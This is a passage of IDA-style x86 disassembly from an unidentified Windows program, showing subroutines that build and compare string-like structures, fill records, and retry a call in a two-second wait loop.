		mov	[esi+10h], edi
		mov	[esi+14h], eax
		mov	[esi+1Ch], edi
		call	sub_43829E
; ---------------------------------------------------------------------------
		cmp	eax, 5
		jz	short loc_41C2C8
		cmp	eax, 4C3h
		jnz	short loc_41C2D1


loc_41C2C8:				; CODE XREF: ___:0041C2BFj
		push	edi
		push	edi
		push	edi
		push	esi
		call	sub_43829E
; ---------------------------------------------------------------------------


loc_41C2D1:				; CODE XREF: ___:0041C2C6j
		pop	edi
		cmp	eax, 5
		pop	esi
		jz	short loc_41C2E8
		cmp	eax, 4C3h
		jz	short loc_41C2E8
		mov	al, 1
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------


loc_41C2E8:				; CODE XREF: ___:0041C2D6j
					; ___:0041C2DDj
		xor	al, al
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C350:				; CODE XREF: ___:00401EE7j
		sub	esp, 354h
		mov	eax, off_444E84
		mov	ecx, off_444E88
		mov	[esp+0], eax
		mov	al, byte_448F30
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_444E8C
		rep stosd
		mov	ecx, off_444E7C
		mov	[esp+10h], edx
		mov	dx, word_444E80
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	0
		push	0
		nop
		call	near ptr 27B0000h
		mov	esi, dword_511AB8
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	0
		push	0
		push	eax
		call	sub_4382A4
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_41C438
		mov	esi, dword_5118D8


loc_41C41C:				; CODE XREF: ___:0041C436j
		push	7D0h
		call	esi
		push	0
		lea	ecx, [esp+130h]
		push	0
		push	ecx
		call	sub_4382A4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41C41C


loc_41C438:				; CODE XREF: ___:0041C414j
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41C490	proc near		; CODE XREF: sub_401D93j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41C490
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		lea	eax, [esp+5Ch+var_3C]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_41C490	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+24h]
		push	6
		push	edx
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+118h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		lea	ecx, [esp+20h]
		push	6
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+0EAh]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	eax, [esp+24h]
		push	8
		push	eax
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	edx, [esp+28h]
		push	8
		push	edx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+60h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	ecx, [esp+4Ch]
		push	8
		push	ecx
		call	sub_4019C4
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017EE
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C710	proc near		; CODE XREF: sub_401064j

var_111		= byte ptr -111h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_F4		= byte ptr -0F4h
var_DC		= byte ptr -0DCh
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_94		= byte ptr -94h
var_7C		= byte ptr -7Ch
var_67		= byte ptr -67h
var_52		= byte ptr -52h
var_3D		= byte ptr -3Dh
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_41C710
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 108h
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+124h+var_10C]
		call	sub_40142E
		lea	ecx, [esp+124h+var_DC]
		mov	[esp+124h+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_40142E
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_40142E
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_40142E
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_401B4A
		mov	esi, [esp+124h+arg_0]
		mov	bl, 5
		lea	ecx, [ebp+8Eh]
		mov	byte ptr [esp+124h+var_4], bl
		lea	edi, [esi+7Eh]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		lea	ecx, [ebp+4]
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41C93C
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 6
		push	ecx
		mov	ecx, eax
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401AAF
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 7
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 8
		jz	short loc_41C8CC
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41C8CE
; ---------------------------------------------------------------------------


loc_41C8CC:				; CODE XREF: sub_41C710+1AFj
		xor	edi, edi


loc_41C8CE:				; CODE XREF: sub_41C710+1BAj
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FDC
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013DE


loc_41C93C:				; CODE XREF: sub_41C710+C0j
		lea	ecx, [ebp+60h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CABB
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 9
		push	ecx
		mov	ecx, eax
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401AAF
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Ah
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Bh
		jz	short loc_41CA4B
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CA4D
; ---------------------------------------------------------------------------


loc_41CA4B:				; CODE XREF: sub_41C710+32Ej
		xor	edi, edi


loc_41CA4D:				; CODE XREF: sub_41C710+339j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FDC
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013DE


loc_41CABB:				; CODE XREF: sub_41C710+23Fj
		lea	ecx, [ebp+32h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CCF6
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 0Ch
		push	ecx
		mov	ecx, eax
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		push	offset asc_444C64 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401AAF
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Dh
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset word_44955A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 0Eh
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41CC5E
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014BA
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D312
; ---------------------------------------------------------------------------


loc_41CC5E:				; CODE XREF: sub_41C710+4D6j
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Fh
		jz	short loc_41CC86
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CC88
; ---------------------------------------------------------------------------


loc_41CC86:				; CODE XREF: sub_41C710+569j
		xor	edi, edi


loc_41CC88:				; CODE XREF: sub_41C710+574j
		lea	ecx, [esp+124h+var_10C]
		mov	byte ptr [esp+124h+var_4], bl
		push	ecx
		lea	ecx, [edi+11h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 0
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013DE


loc_41CCF6:				; CODE XREF: sub_41C710+3BEj
		lea	ecx, [ebp+0BCh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CE9B
		push	offset asc_444600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 10h
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FDC
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 11h
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 12h
		jz	short loc_41CE0E
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CE10
; ---------------------------------------------------------------------------


loc_41CE0E:				; CODE XREF: sub_41C710+6F1j
		xor	edi, edi


loc_41CE10:				; CODE XREF: sub_41C710+6FCj
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013DE


loc_41CE9B:				; CODE XREF: sub_41C710+5FCj
		lea	ecx, [ebp+118h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41D040
		push	offset asc_444600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 13h
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FDC
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 14h
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 15h
		jz	short loc_41CFB3
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41CFB5
; ---------------------------------------------------------------------------


loc_41CFB3:				; CODE XREF: sub_41C710+896j
		xor	edi, edi


loc_41CFB5:				; CODE XREF: sub_41C710+8A1j
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FDC
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013DE


loc_41D040:				; CODE XREF: sub_41C710+7A1j
		lea	ecx, [ebp+0EAh]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41D2A1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 16h
		call	sub_40168B
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D2A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FDC
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FDC
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 17h
		call	sub_401FDC
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+128h+var_F4]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		push	offset word_44955A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 18h
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41D1EC
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014BA
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D312
; ---------------------------------------------------------------------------


loc_41D1EC:				; CODE XREF: sub_41C710+A64j
		push	94h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 19h
		jz	short loc_41D214
		mov	ecx, eax
		call	sub_4021E9
		mov	edi, eax
		jmp	short loc_41D216
; ---------------------------------------------------------------------------


loc_41D214:				; CODE XREF: sub_41C710+AF7j
		xor	edi, edi


loc_41D216:				; CODE XREF: sub_41C710+B02j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FDC
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FDC
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FDC
		lea	eax, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+124h+var_94]
		push	ecx
		lea	ecx, [edi+50h]
		call	sub_401FDC
		lea	edx, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	edx
		call	sub_401FDC
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 1
		mov	al, [esi+93h]
		mov	[edi+92h], al
		mov	cl, [esi+94h]
		mov	[edi+93h], cl
		mov	ecx, edi
		call	sub_4013DE


loc_41D2A1:				; CODE XREF: sub_41C710+116j
					; sub_41C710+295j ...
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014BA
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_41D312:				; CODE XREF: sub_41C710+549j
					; sub_41C710+AD7j
		mov	ecx, [esp+124h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 114h
		retn	4
sub_41C710	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 310h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D640	proc near		; CODE XREF: sub_401B4Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D640
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40142E
		lea	ecx, [esi+58h]
